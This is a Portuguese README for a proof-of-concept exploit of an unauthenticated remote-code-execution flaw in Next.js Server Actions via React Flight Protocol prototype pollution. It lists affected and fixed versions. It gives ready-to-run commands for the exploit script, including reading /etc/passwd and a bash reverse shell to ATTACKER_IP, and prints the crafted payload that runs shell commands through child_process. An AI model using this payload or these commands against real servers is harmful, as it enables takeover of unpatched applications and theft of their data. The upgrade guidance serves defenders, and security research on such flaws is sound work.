
Vulnerabilidade crítica em Server Actions do Next.js que permite Execução Remota de Código sem autenticação via desserialização do React Flight Protocol
Este repositório contém uma Prova de Conceito (PoC) para a vulnerabilidade crítica de RCE que afeta aplicações Next.js que utilizam Server Actions (React Server Functions).
| Detalhe | Informação |
|---|---|
| CVE | CVE-2025-55182 / CVE-2025-66478 |
| Gravidade | Crítica (CVSS 10.0) |
| React Afetado | React 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js Afetado | Next.js 15.x, 16.x, 14.3.0-canary.77+ |
| NÃO Afetado | Next.js 14.x estável, 13.x, Pages Router, Edge Runtime |
| Next.js Corrigido | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 |
| React Corrigido | 19.0.1, 19.1.2, 19.2.1 |
| Tipo | Execução Remota de Código (RCE) |
| Autenticação Necessária | Nenhuma |
A vulnerabilidade existe na forma como o React Flight Protocol desserializa chunks durante o processamento de Server Actions. Um atacante pode explorar prototype pollution via dados de formulário especialmente criados para:
Function por meio da travessia da cadeia de protótipos (__proto__)Isso ocorre antes de qualquer validação da server action, o que a torna explorável em qualquer aplicativo Next.js com Server Actions habilitadas.
Qualquer aplicação Next.js é vulnerável se:
pip install requests
python3 poc.py <TARGET_URL> "<COMMAND>"
# Test command execution
python3 poc.py http://localhost:3000 "id"
# Read sensitive files
python3 poc.py http://localhost:3000 "cat /etc/passwd"
# Reverse shell (for authorized testing only)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}
A saída do comando aparece no campo digest.
O exploit utiliza o mecanismo de resolução de chunks do React Flight Protocol:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
Cadeia de ataque:
$1:__proto__:thenFunction via $1:constructor:constructor_prefixAtualize imediatamente:
npm install next@latest
# or
pnpm update next
Versões corrigidas: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
Nota: Next.js 14.x estável e 13.x NÃO são vulneráveis.
⚠️ Esta PoC é apenas para fins educacionais e de testes de segurança autorizados.
O acesso não autorizado a sistemas de computador é ilegal. Use esta ferramenta apenas em sistemas que você possui ou para os quais tenha permissão explícita de teste. Os autores não são responsáveis por qualquer uso indevido.
Baseado na pesquisa original de @msanft. Todo o crédito pela descoberta da vulnerabilidade e pela PoC inicial vai para eles.
Next.js RCE, Next.js vulnerability, CVE-2025-55182, CVE-2025-66478, React2Shell, React Server Components exploit, Next.js Server Actions RCE, prototype pollution Next.js, React Flight Protocol vulnerability, Next.js security, Next.js remote code execution, Next.js exploit PoC, Server Actions vulnerability, React RSC RCE